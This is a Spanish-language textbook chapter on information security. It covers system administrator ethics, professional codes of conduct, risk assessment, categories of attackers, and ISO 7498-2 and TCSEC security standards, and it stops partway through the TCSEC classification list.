Hay muchas leyes para la protección de la propiedad. Sin embargo, con la proliferación de las computadoras, esta propiedad esta constantemente en riesgo de ser sustraída o usada de manera inapropiada. Archivos de audio, películas y libros que tienen dueño y derechos de autor por individuos y/o corporaciones se han vuelto abiertos al robo y a la lectura desautorizada. Mientras ciertas leyes prohíben el robo de dato, hay tecnologías presentes para evadir las leyes. A menudo, algunas leyes prueban ser ambiguas o no claras y resultan de pobre aplicación. En cada caso, los usuarios toman una decisión y justifican sus acciones para el uso de estas informaciones.

Las decisiones de un administrador deben de seguir las leyes establecidas para gobernar a los usuarios y las decisiones deben ser tomadas respetando los derechos y libertades que han sido dados a los usuarios de los computadores. Monitoreando los datos públicos que pasan a través del servidor puede ser permitida para acciones particulares, donde los datos contenidos en un archivo de email del usuario debe de ser considerado propiedad privada. informaciones tales como lo que es descargado y sus orígenes pueden ser justificablemente examinados en orden de legalmente proteger los derechos de autor. Las políticas pueden ser implementadas para prevenir esas medidas, tales como bloquear ciertos sitios (a través de firewalls) e informando a los usuarios que ciertos tipos de archivos no serán permitidos en equipos específicos. Se puede informar a los usuarios que será permitido almacenar en un sistema para así el administrador tener un acuerdo tangible que debe de prevenir mal entendidos y el abuso de los recursos del sistema.

Respeto a los Usuarios del Sistema

Es una labor de los administradores de sistemas mantener todos los materiales ilegales fuera del sistema. Es también una labor del administrador de sistemas no violar los derechos individuales de los usuarios. Así, un archivo de usuario debe de ser considerado privado al menos de que haya una evidencia de que este esta actuando de manera irrespetuosa hacia otro individuo o a la propiedad de la compañía. Cuando hay una evidencia de abuso en el sistema, es también la labor del administrador informarle al usuario que su información personal necesita ser examinada. Un ejemplo de un código que protege los derechos de usuario puede contener este estamento. La exploración de los archivos personales de un usuario debe solo ser hecha después de que el

usuario es informado sobre dicha investigación y de sus propósitos. Un administrador solo debe tomar acciones para invadir los derechos de un usuario si evidencias indiscutibles existen implicando una mala conducta consciente. Este tipo de interacción y aplicación de un código fundamental provee una manera ética para los administradores de sistemas mantener la prevención de la actividad ilegal o de que materiales sean almacenados en los sistemas bajo su cuidado. El paso tomado cuando tales abusos ocurren dependen del administrador de sistemas y la compañía. Sin embargo, uno debe de examinar todos los aspectos de cualquier situación relacionada al abuso del sistema para así justificar una decisión que va a ser hecha apropiadamente. Esas decisiones luego deben de ser soportadas por las reglas acordadas por el administrador de sistemas y la sociedad a la cual el administrador pertenece.

Mientras el archivo de un usuario y las actividades son administradas, los administradores de sistemas deben de ser responsables de sus acciones usando sistemas éticos. Un administrador de sistemas es empleado para proteger y administrar un sistema y se les da acceso a todos los aspectos del sistema; por lo tanto, la extrema confianza debe de ser dada para mantener el sistema. A menudo una violación ética por un administrador puede manipular los archivos del usuario, cambiando no solo la identidad de los usuarios pero el ambiente dinámico y libre en que ellos trabajan. Si un administrador desea, puede tener la habilidad de dañar seriamente el sistema de la compañía usando sus recursos para crackear contraseñas o ganar acceso no autorizado. Mientras esas medidas parecen extremas, la industria computacional espera confiar en los administradores de sistemas con su información más sensible e importante.

Situación Eticamente Hipotética para un Administrador de Sistemas

Aunque no lo crea en la Era de la información, usted encontrará situaciones donde tendrá que confiar menos en su lógica, que sus habilidades computacionales y depender del sentido común, ético, moral y legal. Como Internet esta todavía en su infancia, nuevas preguntas serán contestadas cada día sobre como debemos manejar el vasto monto de información disponible. Considere las siguientes situaciones hipotéticas:

- Mientra trabajas en el sistema de un compañero de trabajo, usted encuentra algún dato que es ilegal poseerlo. Si es software pirateado, pornografía, información terrorista, etc., ¿Qué harías?
- Como un administrador de sistemas, usted tiene acceso a los archivos del servidor los cuales contienen información secreta de la corporación. Aunque su rol es simplificar la administración de los archivos. Usted necesita protegerse de cualquier repercusión que puede pasar si usted estuviera viendo la información actual que contienen esos archivos?
- Su compañía tiene estrictas políticas prohibiendo el uso de los equipos de la corporación para uso personal. Como administrador de redes, su trabajo es mantener la integridad de el ancho de banda. Ocasionalmente, sin embargo, usted escribe una letra en su computador personal y la enviá desde el trabajo a su hijo el cual va a un colegio en otro estado. Esta usted violando las mismas políticas las cuales usted tiene supuesto hacer cumplir?
- Alguien le hace un oferta de vender algún código de un software que fue escrito en una laptop que es de propiedad de su empleador actual. Aunque este fue escrito en casa, en su tiempo libre, y no tiene nada que hacer con el negocio de su empleador, Quien le pertenece legítimamente el código?

Aunque esas son situaciones hipotéticas, usted encontrara situaciones similares donde usted esta forzado a decidir entre lo bueno y lo malo, legal e ilegal. También hay áreas grises donde la respuesta no esta concreta. Hay pocas leyes para proteger a las personas y a las compañías, tales como la piratería y las leyes de propiedad que conciernen patentes, derechos de autor y registros de marcas. Pero para cada regla, emergen docenas de excepciones.

Como puede usted prevenir ser una victima o el perpetrador de tales crímenes? Las siguientes son algunas pautas generales que pueden ayudarlo:

• Usar el sentido común

Cada día a usted se le presentan situaciones que lo obligan considerar las implicaciones éticas de sus actos. Aunque las circunstancias pueden ser diferentes, lo bueno y lo malo es usualmente fácil de distinguir. Si usted encuentra una situación donde usted esta inseguro de que hacer, considere el pro y el contra de cada elección. Si usted no puede saber como tomar la decisión correcta, consulte a un superior o a una de los recursos listados anteriormente en esta sección.

• Sea consistente

Su compañía debe de tener bien pensado sus políticas, las cuales usted seguirá al pie de la letra. Solo como su Organización puede tener políticas que gobiernen el uso apropiado de la tecnologia de la información. Mucha corporaciones envían son empleados de IT (Tecnología de la Información) a seminarios de entrenamiento para aprender como fijar las políticas y agregarles.

• Conocer las limitaciones de la tecnologías

Aunque existen muchos significados de que es asegurar la información, usted necesita darse cuenta de que una vez que el archivo es guardado o un mensaje es enviado, hay una buena posibilidad que la información pueda estar disponible para otros y no solo para la persona deseada. Siempre recuerde que borrando un archivo o mensaje no significa que necesariamente este se ha ido para siempre. Los ítemes que no aparecen en su maquina local puede residir en un servidor remoto de backup o en un medio removible en cualquier otra parte. Una buena regla de pulgar no es teniendo cualquier archivo o enviando cualquier mensaje que usted no podrá explicar su propósito en el día posterior.

• Conocer las leyes

Desde la Revolución Industrial ha habido muchas tecnologías e información apareciendo a un paso rápido. Con toda esta nueva información viene la necesidad de proteger a los individuos y grupos del mal uso de esta tecnología. Las leyes que gobiernan la tecnologia cambia tan rápido como la misma tecnologia, haciendo casi imposible el conocimiento de todas las legislaciones actuales. Usted debe, sin embargo, mantenerse actualizado con la leyes computacionales que lo pudieran afectar. Aquí le mostraremos muchos recursos que lo podrían ayudar en su búsqueda.

Recursos

- Honestidad Intelectual en la Era de la Computacion, by Dr. Frank W. Connolly:
  http://www.luc.edu/infotech/cease/honesty.htm
- Responsabilidad Social para los Prefesionales en al Computación:
  http://www.cprs.org/
- Computacion y sus Leyes
  http://samsara.law.cwru.edu/comp_law/
- El Código de Eticas del GNU
  La certificación GNU/Linux es una de las pocas certificaciones que identifican y codifican la necesidad para definir éticas.

Introducción/Negación

El propósito de presentar este código es proveer al lector con un análisis de estándares aceptados por la industria que han sido desarrollado por las sociedades profesionales computacionales a través del tiempo debido a su visión. Los principios que establecemos aquí forman un marco para facilitar que las decisiones a tomar sean éticas pero no garantizan una solución definitiva para todas las situaciones. A menudo, la mejor solución puede ser obtenida incorporando las ideas presentadas aquí con juicio personal razonablemente fundado.

Como un profesional en IT, me someteré a lo siguiente:

1. Respetar la confidencialidad de la información en temas que son consistentes con el interés público.
2. Investigar y reportar violaciones de las leyes de propiedad intelectual e informar a las partes ofendidas o las partes de cualquieras de las infracciones.
3. Conformar para los estándares profesionales apropiados para lograr las metas especificas, excepto en situaciones éticamente justificables.
4. Esforzarse para adquirir conocimiento en mi campo y educarme en aquellas necesidades que necesite ayuda.
5. Reportar cualquier dato fraudulento o incorrecto e informar a todas las partes involucradas.
6. Asegurar los conflictos de intereses, los cuales no pueden ser evitados en una manera razonable, son resueltos por la colaboración entre todas las partes involucradas.
7. Asegurar que todas las partes que se abrazan a los estándares tienen exposición justa y competencia de esos estándares y son provisto de habilidades para expresar sus opiniones y preocupaciones sobre tales estándares.
8. No promocionar los intereses personales cuando se toman decisiones para la compañía.
9. Dar crédito razonable a todas las partes involucradas.
10. Mantener los acuerdos con el copyleft del GNU.
11. Preservar la integridad y la seguridad de la información
12. Verazmente representa las habilidades y capacidades.

Código de Etica (ISC) 2

El consorcio Internacional de Certificaciones de Seguridad de Sistemas de Información (ISC)2 es una organización sin fines de lucro formada en el 1989 para desarrollar un programa de Certificación de Practicantes de los Seguridad de Sistemas de Información (CISSP). (ISC)2 ha codificado el código de éticas de los profesionales de la seguridad como sigue (http://www.isc2.org/code.html). Hay solo cuatro mandamientos canónicos en el código. Por necesidad tales direcciones de alto nivel no eran pensados para sustituirlos por los juicios éticos de los profesionales.

Direcciones adicionales son provistas por cada una de las canons. Mientras estas direcciones pueden ser consideradas por la comitiva de parámetros de conductas, es consultivo mas bien que obligatorio. Este es pensado para ayudar a los profesionales en identificar y resolver los dilemas éticos inevitables que lo confrontaran.

Preámbulo de los código éticos:

- Seguridad de la abundancia común, deber a nuestros principios y para cada otro requerimiento que nosotros agregamos y parece ser que agregaremos, a los más altos estándares de comportamiento ético.
- Por lo tanto, adherencia terminante a este código es una condición de la certificación.

Código de Etica Cánones:

- Proteger la sociedad, la abundancia común y la infraestructura.
- Actuar de forma honorable, honesta, justa, responsable y legal.
- Proporcionar un servicio diligente y competente a los principales.
- Avanzar y proteger la profesión.

Direcciones adicionales es descrita en el código para detallar que el CISSP debe de actuar en una manera legal y atenta de la reputación de una Organización y reportar situaciones y actos de una manera técnica y competente, evitando el abuso de la información confidencial, y evitando ubicarse en una posición donde

pueden ser un conflicto de intereses.

Un elemento interesante del código (ISC)2 es que este anima el abandonar, o dejar un trabajo donde el administrador requiere un empleado para no actuar con ética en orden de recordar un empleado.

Evaluación de Riesgo

Almacenar estadísticas para prevenir futuros ataques siempre será un arte imperfecto y exactamente que es lo que las estas estadísticas almacenan por varios aspectos realmente significa que siempre estará abierto a cuestionamiento. El guardar información para usarla en contra de ataques es difícil al menos que usted conozca como categorizar los ataques y contarlos de una manera sistemáticamente. Todavía, asegurar completamente su sistema es imposible.

Los siguientes temas serán discutidos en esta sección:

- El mito de la seguridad 100%
- Atributos de una Matriz de Seguridad Efectiva
- Que estas tratando de proteger
- Quien es la amenaza?
- Estadísticas de Crackers

El Mito de la Seguridad 100%

La conectividad implica riesgos. Si usted permite a usuarios legítimos acceso a su computador o redes, la oportunidad de abuso existe. Un dicho popular es que el único computador seguro es aquel que ha sido desconectado de la red, apagado o encerrado en una caja de seguridad con la llave perdida. Aunque esta solución puede hacer al computador seguro, pero también hace que el computador sea inútil. Sin embargo, aunque usted nunca alcance un punto de seguridad completo, usted puede alcanzar un nivel que prevenga las más determinadas habilidades de los crackers para que accesen a su sistema.

Las técnicas apropiadas de seguridad pueden minimizar los efectos negativos de la actividad de un cracker en su organización. Acerca de la seguridad de Internet, usted puede usualmente restringir los permisos en las redes a los usuarios legítimos, de esta manera ellos pueden cumplir sus tareas pero no tienen más acceso que el necesario. El resultado de esta simple medida es que si un cracker puede robar el identificador legítimo de un usuario y entrar al sistema, este estará disponible de solo ganar acceso solo al nivel autorizado a ese usuario. Tales restricciones puede limitar cualquier daño posible que el cracker puede causar usando el nombre de usuario y la contraseña sustraída.

Seguridad como Balance

Un principio clave de seguridad es usar soluciones que son efectivas pero no cargan a los usuarios legítimos los cuales desean accesar a la información necesitada. Encontrar realmente maneras de aplicar estos principios es a menudo un acto difícil de balancear. Esta necesidad de balance aplica especialmente a la seguridad del uso de Internet. Es absolutamente fácil emplear técnicas de seguridad que se convierte en una total indiferencia al comportamiento prudente legítimo de los usuarios y que evite todos los protocolos de seguridad. Los crackers siempre están al asecho y preparados para capitalizar en tales actividades aparentemente inocentes. Así, también es aplicar una política restrictiva extravagante de seguridad que puede resultar en menos efectiva la seguridad al final ya que es tan tediosa que estamos seguros pero la empresa no rinde y resulta en perdidas al igual que si usted no tiene ninguna política de seguridad.

Usted siempre tiene que considerar el efecto de que su política de seguridad tendrá usuarios legítimos. En la mayoría de los casos el esfuerzo requerido por sus usuarios es mayor que el incremento resultado en seguridad, sus políticas realmente reducirán el nivel efectivo de seguridad de su compañía.

Atributos de una Matriz de Seguridad Efectivas

Aunque los componentes y configuraciones de un sistema de seguridad varían de compañía a compañía, varias características siguen siendo constante. Una matriz confiable de seguridad es altamente segura y fácil de usar; este también tiene un costo razonable. Una matriz de seguridad esta compuesta de características de seguridad de sistemas operativos individuales, servicios de logs (registros) y equipos adicionales incluyendo firewalls, sistemas de detección de intrusos y esquemas de auditoria.

Atributo	Descripción
Permite el Control de Acceso	• Usted debe de alcanzar sus metas de solo permitir el acceso a los usuarios legítimos. • Usted debe de minimizar la habilidad de comunicación mientras minimiza la posibilidad de acceso de los crackers. • Usted ha minimizado la posibilidad de daños en el evento de acceso de los crackers.
Fácil de Usar	• Si un sistema de seguridad es difícil de usar, empleados encontraran la manera de evitarlo. • Usted ha asegurado que la interfaz es intuitiva.
Costo Apropiado de Propiedad	• Usted ha considerado no solo el costo de la compra inicial, pero también el precio de la mejora y servicios. • Usted también ha considerado el costo de administración. Cuantos empleados, que nivel de habilidad, será necesario implementar y mantener el sistema con éxito?
Flexible y Escalable	• Su sistema le permite a su compañía hacer negocios de la manera que desea. • Su sistema crecerá así como también la compañía crecerá.
Reporte y alarma Superior	• En el evento de una brecha de seguridad, su sistema notifica rápidamente al administrador y con suficientes detalles. • Usted ha configurado el sistema para que lo alerte tan eficientemente como sea posible. Las opciones de notificación incluyen alertas por email, pantallas de computadores, paginadores así sucesivamente.

Una matriz de seguridad es flexible y escalable, también tiene una capacidad superior de alarmas y reportes. La siguiente tabla resume los aspectos más importantes de un sistema de seguridad efectivo:

¿Qué está Usted Tratando de Proteger?

Ahora usted que ha estudiado los principios generales envueltos en un sistema de seguridad, es hora de discutir que realmente necesita protección. Como usted construyo el perfil de seguridad para su red, es provechoso clasificar sus activos en cuatro grupos de fuentes:

- Recurso de usuario final (computador usado por los empleados)
- Recursos de red (routers, switches, cuarto de cableado y telefonía)
- Recursos de los servidores (incluyendo archivos, DNS, Web, FTP y servidores de email)
- Almacenamiento de recursos de información (incluyendo bases de datos de comercio electrónico

Recursos de Usuario Final

Asegurece de que ha habilitado los miembros de su Organización para proteger sus estaciones de trabajo. No todo el daño a sus recursos es el resultado de actividades de usuarios maliciosas, ni de crackers dentro de su sistema. A menudo, los computadores son dañados por un error simple del usuario.

Por ejemplo, muchos empleados en gran parte inconsciente del peligro implicado en descargar archivos ActiveX y usando las applets de Java. Otros todavía no han habilitado los screensaver (protectores de pantallas) de claves para prevenir que se husmee mientras estos están fuera de la oficina aunque sea por un pequeño periodo de tiempo. Los usuarios también pueden inadvertidamente descargar virus y troyanos, de tal modo comprometiendo las habilidades de su red. Un troyano es un archivo o programa que pretende operar en una manera legitima pero también tiene una alternativa, operación secreta, tales como enviar información sensible de la compañía a un cracker vía email.

Sin embargo, los empleados pueden mejorar la seguridad asegurándose se que sus navegadores estén configurados con los parámetros más seguros para ActiveX y Java. Usted también debe asegurarse de que cada empleado usa un antivirus y observe las precauciones cuando esta descargando cualquier cosa desde el Internet.

Protegiendo los recursos locales es en gran parte una forma de educar a los usuarios individuales sobre aplicar técnicas de seguridad fácilmente. Sin embargo, la seguridad de Internet envuelve más que proteger los recursos individuales.

Recursos de Red

Sus redes son los medios primarios de comunicación para la compañía completa. Si un usuario gana acceso o control a su red, o este ha accesado a todos o la mayoría de los datos de la compañía. Usted debe de estar al tanto de que muchos crackers pueden imitar cualquier dispositivo de Protocolo de Internet (IP) que tiene una dirección IP. Llamado Spoofing de IP, esta actividad le permite a los crackers ganar acceso para enganchar un sistema de spoofing. Por que la protección no esta disponible en el Protocolo de Control de Transmisión Protocolo de Internet (TCP/IP), un cracker puede tomar ventajas de cualquier dispositivo que no tiene los mecanismos específicos en su lugar.

Otro recurso de la red incluye tales cosas como los routers, los cuales pueden ser vulnerables a ataques y snooping.

Recursos del Servidor

World Wide Web, email y los servidores de FTP son vulnerables a varios tipos de ataques. Típicamente, los servidores proveen los recursos para la infraestructura de la red y son la central de sus operaciones. Estos también controlas la seguridad del sistema. Los crackers tratan de ganar acceso a los recursos de los servidores por que ellos pueden accesar y luego controlar otros recursos.

Recursos de Almacenamiento de Información

Hot Spot	Amenaza Potencial
Recursos de usuario Final	Virus, troyanos y applets pueden dañar el sistema local. Los usuarios finales también pueden introducir problemas a través de actividades ilícitas.
Recursos de Red	Spoofing de IP, snooping de sistema y obtener información.
Recursos del Servidor	Entradas no autorizadas, servicios interrumpidos y troyanos (los recursos de servidores son el blanco principal en la mayoría de los casos.)
Las Base de datos	Obtener secretos comerciales, datos de los clientes y los recursos de información y así sucesivamente.

La función más vital de cualquier compañía es como organiza y distribuye la información. La última meta de algunos crackers es descubrir esta información así como sobornar con las redes y métodos que ayudan a

crear y comunicar la información. Los crackers desean información por muchas razones. Algunos son simplemente curiosos y otros son maliciosos. Otros todavía desean esconderse y realmente están practicando en un espionaje industrial. La siguiente tabla lista las vulnerabilidades potenciales que son partes de una red.

¿Quién es una Amenaza?

La cultura popular a menudo representa al cracker como brillante adolescente que tiene problema con la autoridad. Aunque esta descripción es poca veces exacta, categorizar a los crackers en términos de sus actitudes y motivaciones es probablemente más conveniente.

Actividades maliciosas ocurren por un número de razones. Sin embargo, estas actividades típicamente caen dentro de tres amplias categorías que son: el atacante casual, el atacante determinado y los espías. Quizás lo más importante a considerar cuando se esta tratando de asegurar su compañía es identificar el tipo que el cracker que usará su compañía como blanco y anticipar cual es la actitud de este cracker.

El Atacante Casual

El atacante casual es algunas veces un buscador de información, pero más a menudo es un buscador de emoción. El atacante casual tiene lo que puede ser llamado como una mentalidad Everest. En otras palabras, el atacante casual esta crackiando su sistema simplemente por que este esta ahí. Ellos pueden ser detenidos con una aplicación apropiada de seguridad, especialmente se esta política de seguridad especifica que usted lo encuentra y le responde al cracker. Algunos atacantes casuales son adolescentes traviesos con acceso a una conexión a la red. Existe una gran cantidad de redes subterráneas de esos atacantes.

Atacantes Determinados

Los crackers determinados ganaran acceso a su sistema cueste lo que le cueste, sin importar los niveles de dificultad, o las consecuencias que sus actos les causen. Este tipo de crackers logrará accesar por Internet, o vía un empleado, a través del “cracking social”. Los Crackers tienen el acceso a métodos probados y herramientas específicamente diseñadas para permitirles el acceso a sus red. En rencor9 de su equipamiento efectivo y claras políticas de seguridad, el tipo de determinación de un cracker y la buena voluntad de un empleado cualquier método eventualmente guiara a lograrlo.

Los crackers determinados a menudo accesarán ilegalmente a sistemas altamente sofisticados para probar su valor de cracker. Típicamente, esos crackers no están fuera de destruir información, pero a menudo obtendrán información sobre su compañía y las redes solo porque ellos pueden, pero no la utilizaran para causar ningun daño adicional. Los crackers determinados tienen muchas motivaciones, tales como almacenar información para razones personales. Un cracker puede ser un empleado disgustado, mientras que otro puede ser motivado por resentimiento hacia grandes empresas o gobiernos por luchas políticas o de ideales. Muchos ataques son el resultado del interés del cracker en eliminar la presencia de lo que puede ser un contenido controversial o objetable.

Otros Crackers tienen motivaciones basadas en idiosincrasias, las cuales pueden estar basadas en un interés en alcanzar fama y gloria, una necesidad de ganar un sentido de realización, necesita demostrar sus habilidades en la red. Tales motivos pueden explicar la mayoría del graffiti o “defacing” de la Web que esta ocurriendo mas y mas a menudo.

Los Espiás

Los espiás tienen blancos específicos y desean ganar información o interrumpir servicios. Muchos de ellos son financiados y por esto suelen tener acceso ilimitados a recursos. Las motivaciones primarias para los espiás incluyen ganar dinero y defender creencias o posturas ideológicas. Esos cracker no se detienen en nada para

obtener acceso a las redes que tienen como blanco. Las compañías interesadas en el espionaje industrial y algunos gobiernos a menudo financian a estos grupos espiás, pero algunos espiás son mercenarios que trabajaran a servicio del mejor postor.

En los capítulos posteriores se discutirá como implementar firewall y ofrecer maneras especificas de defenderse en contra de los crackers. Cuando existe sospecha del ataque eminente de un cracker, la observación y supervisión son las herramientas más importantes. Con una supervisión apropiada, usted descubrirá y detendrá un cracker lo más rápido posible. En capítulos posteriores discutiremos planes para que usted pueda responder al cracker y usted debe registrar estas actividades. Algunas veces, en casos extremos es necesario contactar a las agencias de aplicación de la ley, dependiendo del país donde se encuentre, en la República Dominicana un sitio que puede comunicar ademas de la fiscalia y el Indotel.

Estadísticas de los Crackers

En rencor de las representaciones románticas de los crackers en las películas tales como Sneakers, Hackers y Guerra de los Juegos, la actividad cracker esta demostrado que es costosa. De acuerdo con el Instituto de Seguridad Computacional y el Grupo de Respuesta a Emergencias Computacionales (CERT), el cracking esta en crecimiento y se esta convirtiendo cada vez más destructivo. CERT ha provisto las siguientes estadísticas para mostrar los efectos de la actividad cracker:

- Uno de cada cinco sitios en Internet ha experimentado una brecha de seguridad.
- Perdidas debido a las brechas de seguridad son estimadas a US$10 billones de dolares anualmente.
- Los intrusos se han incrementado un estimado de 50% en el año pasado.

De acuerdo con un Examen realizado a 745 Profesionales de IT en el 1999 conducido por la revista de Información de Seguridad (www.infosecuritymag.com), el 52% de los examinados ha experimentado alguna forma de ataque, intrusos o salida de información propietaria en los 12 meses anteriores. La mayoría de los ataques no fueron conducidos por vía externa, sino por empleados ubicados dentro de la misma red. El costo total de daños causado por intrusos, claro los que han sido descubiertos, excedían los US$23 millones de dolares en ese mismo año. Estas cifras no incluyen los incidentes no reportados o desconocidos.

La comunidad de TI ha respondido a estos ataques. La mayoría de las empresas han creado políticas de seguridad. Las empresas, organizaciones y sitios comerciales en línea están implementando Firewalls, Sistemas de Detección de Intrusos y programas para ayudar a asegurar sus actividades en la red. Sin embargo, de acuerdo con un articulo en una revista de seguridad, estas medidas no han detenido los ataques. La continuación de los ataques es generado debido a:

- Los ataques son cada vez más sofisticados y el avance rápido de las tecnologías basadas en Internet.
- Sobrecarga del personal IT y la carencia de fondos para obtener recursos adicionales.
- Despliegue rápido de los sistemas que no han sido suficientemente seguros.

Estándares de Seguridad

Para completar nuestra discusión de la seguridad básica, debemos mencionar varios estándares que nacen para ayudar a proveer seguridad. El documento de la Organización Internacional de estandarización (ISO) 7498-2 “Arquitectura de Seguridad” define la seguridad en como minimizar las vulnerabilidades de activos y recursos. Un activo es definido como cualquier cosa de valor. Una vulnerabilidad es cualquier debilidad que pude ser explotado para violar el contenido de un sistema de información.

La ISO clasifica a los ataques tanto accidentales o intencionales y activos o pasivos. Las amenazas

accidentales son aquellas que existen sin intentos premeditados. Tales ataques como desastres naturales, y sistemas que funcionan mal caen dentro de este grupo. Las amenazas intencionales pueden extenderse desde la examinación casual de datos de computadores y redes hasta sofisticados ataques usando conocimientos especiales de sistemas. Las amenazas pasivas no modifican la información contenida en el sistema; ni son cambiados la operación ni el estado del sistema. La alteración de información o cambios al estado del sistema u operaciones es considerado un amenaza activa al sistema.

En esta sección, se discuten los siguientes temas:

- Servicios de Seguridad
- Mecanismos de Seguridad

Servicios de Seguridad

El documento ISO 7498-2 define ciertos servicios de seguridad para todos los niveles de sistemas locales y remotos y acceso a las aplicaciones. Estos servicios son también descritos en el Modelo de Referencia de Interconexión de Sistemas Abiertos (OSI). La definición esta resumida en la siguiente tabla. Estos servicios serán examinados con más detalles en otros capítulos más adelante.

Confidencialidad:	Requiere que la información sea accesible únicamente por las entidades autorizadas. La confidencialidad de datos se aplica a todos los datos intercambiados por las entidades autorizadas o tal vez a sólo porciones o segmentos seleccionados de los datos, por ejemplo mediante cifrado. La confidencialidad de flujo de tráfico protege la identidad del origen y destino(s) del mensaje, por ejemplo enviando los datos confidenciales a muchos destinos además del verdadero, así como el volumen y el momento de tráfico intercambiado, por ejemplo produciendo una cantidad de tráfico constante al añadir tráfico espurio al significativo, de forma que sean indistinguibles para un intruso. La desventaja de estos métodos es que incrementan drásticamente el volumen de tráfico intercambiado, repercutiendo negativamente en la disponibilidad del ancho de banda bajo demanda.
Autenticación:	Requiere una identificación correcta del origen del mensaje, asegurando que la entidad no es falsa. Se distinguen dos tipos: de entidad, que asegura la identidad de las entidades participantes en la comunicación, mediante biométrica (huellas dactilares, identificación de iris, etc.), tarjetas de banda magnética, contraseñas, o procedimientos similares; y de origen de información, que asegura que una unidad de información proviene de cierta entidad, siendo la firma digital el mecanismo más extendido.
Integridad:	Requiere que la información sólo pueda ser modificada por las entidades autorizadas. La modificación incluye escritura, cambio, borrado, creación y reactuación de los mensajes transmitidos. La integridad de datos asegura que los datos recibidos no han sido modificados de ninguna manera, por ejemplo mediante un “hash” criptográfico con firma, mientras que la integridad de secuencia de datos asegura que la secuencia de los bloques o unidades de datos recibidas no ha sido alterada y que no hay unidades repetidas o perdidas, por ejemplo mediante “time-stamps”.
No repudio:	Ofrece protección a un usuario frente a que otro usuario niegue posteriormente que en realidad se realizó cierta comunicación. Esta protección se efectúa por medio de una colección de evidencias irrefutables que permitirán la resolución de cualquier disputa. El no repudio de origen protege al receptor de que el emisor niegue haber enviado el mensaje, mientras que el no repudio de recepción protege al emisor de que el receptor niegue haber recibido el mensaje. Las firmas digitales constituyen el mecanismo más empleado para este fin.
Control de acceso:	Requiere que el acceso a los recursos (información, capacidad de cálculo, nodos de comunicaciones, entidades físicas, etc.) sea controlado y limitado por el sistema destino, mediante el uso de contraseñas o llaves hardware, por ejemplo, protegiéndolos frente a usos no autorizados o manipulación.
Disponibilidad:	Requiere que los recursos del sistema informático estén disponibles a las entidades autorizadas cuando los necesiten.

Mecanismos de Seguridad

De acuerdo con ISO, un mecanismo de seguridad es una tecnologia, una parte de un software o un procedimiento que implementa uno o más servicios de seguridad. La ISO clasifica los mecanismos como específicos o penetrantes. Un mecanismo de seguridad específico es una tecnologia o parte de un software que solo implementa un servicio de seguridad a la vez. La encriptación es un ejemplo de un mecanismo de seguridad específico. Aunque usted puede usar la encriptación para asegurar la confidencialidad de los datos, la integridad de los datos y el no repudio (todos los servicios), la técnica de encriptación actual que usa requiere diferentes técnicas de encriptación para implementar cada servicio.

Un mecanismo general de seguridad lista procedimientos que ayudan a implementar uno o más de los servicio de seguridad a la vez. Otro elemento que diferencia el mecanismo de seguridad general de los mecanismos específicos es que los mecanismos generales no aplican para cualquiera de las capa del modelo OSI. Los ejemplos de un mecanismo persuasivo incluyen:

Funcionalidad Confiable	Es cualquier procedimiento que consolida un mecanismo existente. Por ejemplo, cuando usted actualiza la pila TCP/IP o ejecuta algún software para consolidar la habilidad para autentificar en su sistema Novell, UNiX o FreeBSD, usted esta usando un mecanismo persuasivo.
Detección de Eventos	Esta es la habilidad de detectar y reportar incidentes locales y remotos.
Rastro de Intervención	Este es un mecanismo que le permite monitorear y documentar sus actividades de red.
Recuperación de la Seguridad	Esta es la habilidad de reaccionar a un evento, incluyendo la creación de soluciones a corto y largo plazo para conocer las vulnerabilidades. Esta también incluido la habilidad de reparar sistemas dañados.

Muchos gobiernos y organizaciones no harán negocios con otros que no estén probados conforme la seguridad de un estándar de una tercera parte. La seguridad es a menudo una preocupación regional, significa que varias industrias, organizaciones y gobiernos nacionales tienen diferentes procedimientos y estándares que proveen modelos de seguridad efectivos. Los esfuerzos más recientes prometen con crear un documento global de seguridad ISO.

Los siguientes documentos de criterios no son específicos para GNU/Linux; esto significa que proveerán un marco de trabajo para varios tipos de redes:

- Criterios de Evaluación de Tecnologías de Información de Seguridad (ITSEC)
- Criterios de Evaluación de Sistemas Computacionales Confiables (TCSEC)
- Criterio Común (CC)
- El Libro Naranja

Criterios de Evaluación de Tecnologías de Información de Seguridad Europea

En Europa, el documento ITSEC BS 7799 de contornos de amenazas de red y varios controles que usted puede implementar para reducir las probabilidades de un ataque que lisia, tales como en sistema de control de acceso, el uso de una política de seguridad, y de medidas de seguridad físicas. Este define las vulnerabilidades como a algo que los administradores de sistemas deben de ser responsables. Este caracteriza las amenazas como algo sobre el cual tiene un poco de control. El documento BS 7799 fue rescrito en 1999 y detalla los siguientes

procedimientos que usted puede implementar para asegurar su sistema:

- Procesos de Auditoria
- Sistemas de archivos auditados
- Determinación de riesgos
- Manteniendo para el control de Virus
- Administración apropiada de la información IT con respeto a los negocios diarios y los temas de seguridad.

Preocupaciones adicionales incluyen comercio electrónico (e-commerce), cuestiones legales y métodos de reporte.

Criterios de Evaluación de Sistemas Computacionales Confiables (TCSEC)

En Estados Unidos, El Centro de Nacional de Seguridad Computacional (NCSC) es responsable de establecer los criterios de seguridad para los denominados productos de computadores confiables. El NCSC creado por el TCSEC, el estándar del Departamento de Defensa (DoD) 5200.28, para el establecimiento de niveles confiables. Los criterios están previstos a indicar la capacidad potencial de seguridad de un sistema y consiste en la efectividad funcionalidad de la seguridad.

TCSEC señala varios grados de seguridad, lo cuales van desde el nivel A al nivel D. Donde el nivel D indica un sistema no seguro y el nivel A es el nivel de seguridad más alto y es usado en computadores militares. Los niveles A, B y C tienen subniveles numéricos, los cuales son A1, B1, B2, B3, C1 y C2. Mientras el número es más bajo, mejor la seguridad, como es mostrada más adelante.

Clasificación A1 (Máxima Seguridad):
En este nivel, los sistemas operativos están diseñados de acuerdo a un modelo matemáticamente comprobado como seguro (por ejemplo, el sistemas de autentificación por medio de llaves públicas de Needham-Schroeder).

Clasificación B3 (Dominios de Seguridad):
Estos sistemas, aunque no cuentan con un modelo matemático de seguridad, requieren de una re-escritura del kernel del sistema operativo base de tal forma que el sistema operativo sea seguro desde el diseño. Las modificaciones del kernel están basados en el concepto de dominios de seguridad, donde los usuarios del sistema se clasifican en “universos” separados, es decir, los dominios. La interacción entre diversos dominios es imposible o está estrictamente controlada.

Clasificación B2 (Protección Estructurada):
El kernel se reescribe para convertirlo en una entidad modular para poder controlar el acceso privilegiado a recursos del sistema. El acceso a cada módulo, requiere de autentificación por separado. También requiere de una separación más rigurosa de los papeles de usuario y administrador.

Clasificación B1 (Protección de Seguridad Etiquetada):
